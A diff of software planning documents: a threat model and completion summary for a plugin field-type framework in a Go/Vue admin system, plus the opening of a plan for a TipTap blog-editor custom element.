- check-admin-dist passes with the rebuilt dist committed.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin fields switch locales like mlmarkdown, elements upload through the SPA without credentials, plugin list columns render, save notices show under the field and in the toast, and the docs describe the full contract.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
|
||||
| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
|
||||
| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
|
||||
| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
|
||||
| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
|
||||
| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
|
||||
| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
|
||||
| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
|
||||
| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages (422) and FormFieldNotice messages (meta.notices) reach the client; any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
|
||||
| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
|
||||
| T-16.2-33 | Tampering (admin XSS) / Denial of Service | save notices (localizeNotices, FormField notice line) | medium | mitigate | A notice can quote attacker-written markup (for example a removed tag name); the SPA renders notices with text interpolation only, never v-html (acceptance grep and an HTML-looking-message test); cabana keeps at most 10 notices per field and locale and cuts each localized message to 500 runes, so a value with thousands of removed parts cannot inflate the response |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: baseline contract and schema tests pass and a human approved the API.
|
||||
- Task 2: TestFieldTypeTracerSmoke and the regression set pass; PluginField vitest, OpenAPI check, dist check and TestDocsTree pass.
|
||||
- Task 3: TestFieldTypeExpansionSmoke and the regression set pass; OpenAPI check, typecheck, TestDocsTree pass.
|
||||
- Task 4: full admin vitest suite, dist check and TestDocsTree pass.
|
||||
- Postgres-backed save, show and upload tests with a real record are written in plan 06 and run on a Docker host.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-11 to D-15 implemented in pact, cabana and the SPA with fail-loud boot checks.
|
||||
- D-03 server skip, D-10 notices (meta.notices only when a Decode reported something, shown under the field and in the toast, stored value reloaded) and refusal mapping, D-06/D-14 storage through the existing ML path, D-18 upload route in place.
|
||||
- OpenAPI, TS types, dist, READMEs and docs updated in the same changes; no framework doc names a consuming application.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md` when done, with the Task 1 reply, the final identifier list, commit hashes, and the smoke test results.
|
||||
</output>
|
||||
@@ -0,0 +1,264 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 01
|
||||
subsystem: admin
|
||||
tags: [pact, cabana, admin-spa, field-types, custom-elements, i18n, uploads, openapi]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: bluemonday-era Journal plugin and the v0.1.17 framework release this API builds on
|
||||
provides:
|
||||
- pact plugin field type API (HasFormFieldTypes, FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError)
|
||||
- cabana per-boot field type registry, compile checks, Decode/Load/ListValue runner, translatable storage through the ML path, untouched skip, meta.notices
|
||||
- cabana FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, FieldNotice, RecordMeta.Notices
|
||||
- routes GET {api}/field-types and POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload
|
||||
- admin SPA global field type loader, PluginField and MLPluginField element hosts, element uploads, save notices
|
||||
affects: [16.2-02, 16.2-03, 16.2-05, 16.2-06, journal, payment]
|
||||
|
||||
actuals:
|
||||
tokens: 62800
|
||||
tasks: 4
|
||||
commits: 5
|
||||
plan_head_before: 0754a6e5ab88b1a4ad3b6fc3599a338490220077
|
||||
plan_head_after: 4adb48a76e5bd81f589385d22fc82a5c55dcb3e7
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Plugin capability registry built per Activate (compileFieldTypes) and passed down the compile functions; no package-level registry"
|
||||
- "Untouched-value skip by canonical encoding/json comparison against the served value (Load of the stored value)"
|
||||
- "Global plugin stylesheets owned by GLOBAL_STYLE_OWNER, never disabled by activateStyles"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/field_type_smoke_test.go
|
||||
- modules/cabana/example_field_type_test.go
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- docs/backend/field-types.md
|
||||
modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/contracts.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/relation.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/phase10_coverage_test.go
|
||||
- modules/cabana/phase10_csrf_test.go
|
||||
- modules/cabana/README.md
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
- admin/src/app/pluginAssets.ts
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/LoginView.vue
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/FormGrid.vue
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/fields/MLField.vue
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- admin/tests/list/CellValue.test.ts
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
|
||||
key-decisions:
|
||||
- "pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the Task 1 checkpoint); plans 03, 05 and 06 must use the ctx form"
|
||||
- "The plugin field type registry is built per Activate by compileFieldTypes and passed down; CompileForm, compileRegistry, compileList, compileRelations and compileSetting keep their signatures as nil-registry wrappers"
|
||||
- "Only a pact.FormFieldError from Decode or Upload is a 422 (messages localized); every other plugin error, Load errors included, is the opaque lifecycle 500"
|
||||
- "Untouched values (D-03 server half) are skipped on update when the canonical encoding/json of the submitted value equals the served value (stored host value or exact translation, then Load)"
|
||||
- "FieldTypesResponse is the GET /field-types envelope {data, meta}; FieldUploadResponse is the upload data object {url}, served as Envelope[FieldUploadResponse]"
|
||||
|
||||
patterns-established:
|
||||
- "Plugin field type: alias + element + assets + options + Go funcs; cabana owns routes, permissions, scope, locale storage, notices and the untouched skip"
|
||||
- "Element contract: value property, plain attributes, summer-change, summer-upload/summer-upload-result; no credentials, --c-* only"
|
||||
|
||||
requirements-completed: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "pact field type API and cabana boot checks: alias collisions (two plugins, core type), element prefix, unknown keys, CheckOptions errors, settings/relation refusal"
|
||||
requirement: D-11
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Save decodes plugin values (FormFieldError 422, opaque 500 otherwise), meta.notices only when a type reported something, Show/save serve through Load, GET /field-types and form schema keys"
|
||||
requirement: D-12
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "modules/cabana/example_field_type_test.go#ExampleCompileFormWithTypes"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Translatable types per locale through the ML path, per-locale notices, untouched skip on update, FieldWritesFromContext in Form hooks, ListValue list columns, upload route (201, 404, 403, CSRF, 413, 422)"
|
||||
requirement: D-14
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeExpansionSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Admin SPA: global field type loader, PluginField/MLPluginField, element uploads, save notices under fields and in the toast, stored value reload, plugin list columns as text"
|
||||
requirement: D-13
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/PluginField.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/FormField.test.ts#save notices"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/formState.test.ts#noticeLines"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/CellValue.test.ts#plugin field type columns (16.2)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "OpenAPI, schema.d.ts, dist, READMEs and docs/backend/field-types.md describe the API with neutral names"
|
||||
requirement: D-15
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test ./cmd/summer -run TestDocsTree"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed save, show and upload with a real record (id != 0 upload path, real transaction, real translation writer)"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "No Docker on this host (RESEARCH Pitfall 11); plan 06 runs these on a Docker host"
|
||||
|
||||
duration: 34min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 01: Plugin field type framework Summary
|
||||
|
||||
**Plugins register value-bearing admin field types through pact.HasFormFieldTypes; cabana compiles, decodes (with localized meta.notices), loads, lists, uploads and stores them (translatable ones through the ML path, untouched values skipped), and the admin SPA hosts their custom elements globally with uploads and save notices.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 34 min
|
||||
- **Started:** 2026-10-10T08:53:13Z
|
||||
- **Completed:** 2026-10-10T09:27:00Z
|
||||
- **Tasks:** 4 (Task 1 checkpoint resolved by the orchestrator, Tasks 2-4 executed)
|
||||
- **Files modified:** 51 (excluding the rebuilt dist assets)
|
||||
|
||||
## Task 1 checkpoint (resolved)
|
||||
|
||||
Baseline verify was run by the orchestrator (vet passed, 4 PASS lines, clean `git status --porcelain -- modules admin docs scripts`). Human reply, verbatim:
|
||||
|
||||
> adjust: ListValue(ctx context.Context, value any) string
|
||||
|
||||
Final identifier list used by Tasks 2-4: every pact and cabana identifier exactly as in the plan's `<interfaces>` block, except `pact.FormFieldType.ListValue` is `func(ctx context.Context, value any) string` (was `func(value any) string`). The element contract is unchanged (value property; attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload, summer-upload-result).
|
||||
|
||||
**Note for plans 03, 05 and 06:** they refer to `ListValue` and must use the ctx form; plan 03's Journal `ListValue` implementation receives `ctx`.
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- pact: `FormFieldType` (Name, Element, Translatable, Scripts, Styles, Options, CheckOptions, Decode, Load, ListValue with ctx, Upload), `FormFieldValue`, `FormFieldDecoded`, `FormFieldNotice`, `FormFieldUpload`, `FormFieldUploadResult`, `FormFieldError`, `HasFormFieldTypes`.
|
||||
- cabana boot: `compileFieldTypes` (alias shape, core-type and cross-plugin collisions naming both plugins, element prefix via `checkWidgetTag`, Decode required, option keys, assets through the extracted `readClientAssets`), passed to `compileRegistryWithTypes`; fields.yaml accepts a plugin alias with the general keys plus its options (`typeOptions`, `element`, `translatable` in the schema); `CheckOptions` at boot; settings and relation forms refuse plugin aliases; `CompileFormWithTypes`.
|
||||
- cabana save/show: `liftPluginValues`, `decodePluginFields` inside the transaction (per locale for translatable types, untouched skip on update via `servedFieldValue`), `localizeNotices` into `RecordMeta.Notices` (`meta.notices`, max 10 per field and locale, 500 runes), `hydratePluginFields` (per locale), `FieldWritesFromContext` for Form hooks, `isMLField` routing translatable types through `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord`.
|
||||
- cabana list and routes: plugin aliases as column types with `ListValue` in `projectRowCtx`; `GET /field-types`; `POST .../{id}/fields/{field}/upload` (`fieldUpload`), annotated, in `phase09Routes`, CSRF inventories updated.
|
||||
- SPA: `loadFieldTypes` after boot and login, `loadGlobalStyles`/`GLOBAL_STYLE_OWNER`, `PluginField` (value/attributes/summer-change/echo rule/uploads), `MLPluginField`, `rendererForField`/`isRegisteredField`/`isMLField`, `noticeLines` with the notice status line in `FormField` and the saved toast, rebuilt `modules/boardwalk/dist`.
|
||||
- Docs: pact and cabana READMEs, new `docs/backend/field-types.md` (registration, aliases, options, Decode/notices/refusal, Load, notices, translatable types, untouched values, companion columns, list columns, uploads, full element contract), links from forms.md and lists-and-filters.md.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1: Confirm the pact API** - resolved by the orchestrator (no commit)
|
||||
2. **Task 2: Tracer** - `1e20ace` (feat, pact), `717d46e` (feat, cabana + docs + OpenAPI), `83fa2f7` (feat, admin SPA + dist)
|
||||
3. **Task 3: Go expansion** - `8fa92db` (feat)
|
||||
4. **Task 4: SPA expansion** - `4adb48a` (feat)
|
||||
|
||||
## Smoke test results
|
||||
|
||||
- `go vet ./...` clean; `TestFieldTypeTracerSmoke` (15 subtests), `TestFieldTypeExpansionSmoke` (14 subtests), `TestPhase09ContractInventory`, `TestPhase09PermissionMatrix`, `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestListRelationSearchSmoke`, `TestEnabledLocalesDefaultFirstSmoke`, `TestPhase10CSRF`, `ExampleCompileFormWithTypes` pass.
|
||||
- `go test ./...`: the only failures are the testcontainers suites that need Docker (permission denied on /var/run/docker.sock), the same set as before this plan; no non-Docker failure message.
|
||||
- Admin: `npm run typecheck` clean, full vitest suite 77 files / 1190 tests pass, `check-admin-openapi.sh --check`, `check-admin-dist.sh`, `TestDocsTree` and `summer docs:build --check` pass.
|
||||
- Neutral names: `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter. In short: ListValue takes ctx (human), the registry is passed down per boot with nil-registry wrappers for existing callers, only `pact.FormFieldError` is a 422, untouched detection compares canonical JSON with the served value, and the two response types are an envelope (`FieldTypesResponse`) and a data object (`FieldUploadResponse`).
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Route inventories outside the plan's file list**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** `TestPhase10CSRF` (counts 29 state-changing routes) and `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` failed once the upload route was mounted.
|
||||
- **Fix:** Added the route to both inventories (29 -> 30).
|
||||
- **Files modified:** modules/cabana/phase10_csrf_test.go, modules/cabana/phase10_coverage_test.go
|
||||
- **Commit:** 8fa92db
|
||||
|
||||
**2. [Rule 3 - Blocking] Docs Go snippets need src= references**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** TestDocsTree refuses a Go code block without `src=`.
|
||||
- **Fix:** Added `modules/cabana/example_field_type_test.go` (`NotesPlugin.FormFieldTypes`, `ExampleCompileFormWithTypes` with output) and referenced it from docs/backend/field-types.md (synced with `summer docs:sync`).
|
||||
- **Commit:** 717d46e
|
||||
|
||||
**3. [Rule 2 - Correctness] Strict error mapping for plugin code**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** `lifecycleFailure` passes a plugin-returned `ValidationError` or `ForbiddenError` through; the plan allows only `pact.FormFieldError` to reach the client.
|
||||
- **Fix:** `fieldTypeFailure` maps only `*pact.FormFieldError` (messages localized) to 422; every other Decode/Upload error and every Load error is logged and becomes the opaque lifecycle 500.
|
||||
- **Commit:** 717d46e
|
||||
|
||||
**4. Additional files touched for threading the registry and list values**
|
||||
- modules/cabana/contracts.go (`Registry.fieldTypes`), modules/cabana/relation.go (`compileRelationsWithTypes`), modules/cabana/query.go (`projectRowCtx` with the request ctx for `ListValue`), docs/backend/lists-and-filters.md (plugin column types), admin/tests/list/CellValue.test.ts. `admin/src/views/ListView.vue` needed no change: `CellValue` already renders a column type it does not know as plain text.
|
||||
|
||||
**5. [CLAUDE.md] TDD commit shape**
|
||||
- Tasks 3 and 4 are `tdd="true"`, but CLAUDE.md requires `go test ./...` green at every commit, so no failing RED test was committed. Task 3: the expansion smoke test was written first against compile stubs and failed on the planned behavior (`compile: ... unsupported column type notes`) before the implementation made it pass; test and implementation were committed together. Task 4: the SPA implementation was written before its tests in the same uncommitted change; the tests were then added and pass.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 3 auto-fixed (2 blocking, 1 correctness) plus 2 documented process/scope notes. **Impact:** no change to the planned API or behaviour; extra files are route inventories, a docs example and registry plumbing.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the Postgres-backed save, show and upload paths with a real record (the upload route with `{id}` other than 0, a real transaction and translation writer) are covered only by DryRun/unit smoke tests here; full coverage is plan 06 on a Docker host.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plans 02 (Journal editor element) and 03 (Journal Go integration) can build on this API; plan 03 must implement `ListValue(ctx, value)`.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist: modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_type_smoke_test.go, modules/cabana/example_field_type_test.go, admin/src/app/fieldTypes.ts, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/fields/MLPluginField.vue, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md.
|
||||
- Commits exist: 1e20ace, 717d46e, 83fa2f7, 8fa92db, 4adb48a.
|
||||
@@ -0,0 +1,305 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
coupling_justified: ["16.2-01: shares only the element contract (tag prefix rule, value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid, events summer-change, summer-upload, summer-upload-result), which plan 01 fixes per D-13 and its Task 1 checkpoint cannot rename (only pact and cabana Go identifiers, none of which this plan references), so both execution orders produce the same names"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/.gitignore
|
||||
- ../sm-journal-plugin/package.json
|
||||
- ../sm-journal-plugin/package-lock.json
|
||||
- ../sm-journal-plugin/tsconfig.json
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
|
||||
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
autonomous: false
|
||||
requirements: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
|
||||
estimate:
|
||||
tokens: 118000
|
||||
raw_tokens: 118000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-16: the Blog Editor is the custom element golem15-journal-blogeditor built from sm-journal-plugin assets/src with a pinned Vite library build into assets/dist/blogeditor.js and assets/dist/blogeditor.css; the bundle is committed, embedded through admin.go's //go:embed list, and scripts/check-dist.sh fails when assets/dist differs from a fresh build; the host app needs no npm."
|
||||
- "D-01: the element is a WYSIWYG editor on TipTap with a source tab; the source tab shows and edits the exact HTML string."
|
||||
- "D-03: setting value and reading it back without a user edit returns the identical string for the imported-post fixture (footer, style, spans, figures, tables, entities); no summer-change is emitted until a user edit; editing one paragraph leaves every other top-level block of the fixture byte-identical in the output."
|
||||
- "D-04: the toolbar offers headings, bold, italic, bullet and ordered lists, links, blockquote, tables, images, embeds and a raw HTML block; unknown block markup (footer, section, aside, header, nav, details, style, div) becomes a non-editable raw HTML card that renders its source as text."
|
||||
- "D-05: an embed is inserted from a YouTube URL as exactly <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id; the admin editor never renders an iframe."
|
||||
- "D-05 (editor half of the policy cross-check): tests/blogeditor/fixtures/editor-corpus.json holds the editor's own serialized output (embed, image with and without caption, table with header row, links, headings, bullet and ordered lists including one starting at 3, blockquote, inline marks, code, horizontal rule, hard break, and one document combining them); corpus.test.ts rebuilds every entry through editor commands and fails when the committed file differs, so plan 03 (Go policy) and plan 04 (layer mirror) test the real output; links the editor creates use only http, https, mailto or a relative URL."
|
||||
- "D-18 (editor half): an image chosen with the file picker or dropped on the editor is sent as summer-upload {id, file}; on summer-upload-result {id, url} the editor inserts an img with alt text, inside figure with figcaption when a caption is given; on {id, error} it shows the error and inserts nothing."
|
||||
- "D-13: the element follows the documented contract (value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload) and styles only through --c-* variables under its tag."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
provides: "committed editor bundle"
|
||||
contains: "golem15-journal-blogeditor"
|
||||
- path: "../sm-journal-plugin/scripts/check-dist.sh"
|
||||
provides: "dist drift gate"
|
||||
contains: "diff -r"
|
||||
- path: "../sm-journal-plugin/assets/src/blogeditor/serializer.ts"
|
||||
provides: "lossless serializer with top-level block reuse"
|
||||
contains: "serializeDocument"
|
||||
- path: "../sm-journal-plugin/admin.go"
|
||||
provides: "embed of the editor bundle"
|
||||
contains: "assets/dist/blogeditor.js"
|
||||
- path: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
provides: "the editor's own output, checked against both sanitizer policies"
|
||||
contains: "data-embed"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
to: "plan 03 classes/editor_policy_test.go and plan 04 vue-journal-layer tests/fixtures/editor-corpus.json"
|
||||
via: "the Go test reads it in place; the layer keeps a byte copy that the phase gate compares"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-journal-plugin/admin.go adminFS"
|
||||
to: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
via: "//go:embed line, served by cabana as a field-type script (plan 03 declares it)"
|
||||
pattern: "assets/dist/blogeditor"
|
||||
- from: "golem15-journal-blogeditor summer-upload"
|
||||
to: "admin SPA PluginField (plan 01)"
|
||||
via: "bubbling CustomEvent answered with summer-upload-result"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "The editor never re-serializes an untouched document and never uses editor.getHTML() as the stored value."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The bundle uses no eval or new Function and injects no style tag (admin CSP script-src 'self'; injectCSS false)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element renders no iframe and no live raw HTML in the admin; raw blocks show escaped text."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never asks for, stores or sends credentials and never calls the public Journal media API itself."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 and D-10 amended)
|
||||
|
||||
The server no longer refuses unsafe markup. 16.1 replaced the regex gate with a bluemonday policy (`classes.SanitizeHTML`), and under amended D-10 every admin save stores the sanitized value and reports what was removed. Anything the editor writes that the policy does not allow would therefore vanish silently on save. Amended D-05 requires the editor's own output to pass both the Go policy and the layer's sanitize-html mirror byte for byte. This plan now (1) records that output as a committed corpus that plan 03 and plan 04 test against, and (2) limits the links the editor creates to the URL schemes both policies allow. The element still never sanitizes. Where RESEARCH or PATTERNS describe CheckHTML refusing, this plan's text wins.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
|
||||
- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
|
||||
- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
|
||||
- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
|
||||
- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
|
||||
- **Links the editor creates (D-05, D-10 amended):** only `http`, `https`, `mailto` and relative URLs, the schemes both sanitizer policies keep; no `target`, `rel` or `class` is added. A stored link with another scheme, or with `target`/`rel`, is preserved in the editor but stripped by the server if the post is saved after an edit.
|
||||
- **Policy corpus (D-05):** the editor's own output is committed as `tests/blogeditor/fixtures/editor-corpus.json`, rebuilt and compared by `corpus.test.ts` (set `UPDATE_CORPUS=1` to rewrite it). The imported-post fixture is deliberately not in it: it holds legacy markup (the style block, `target`, `rel`) that the server strips on an edited save.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
|
||||
- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
|
||||
- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
|
||||
- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
|
||||
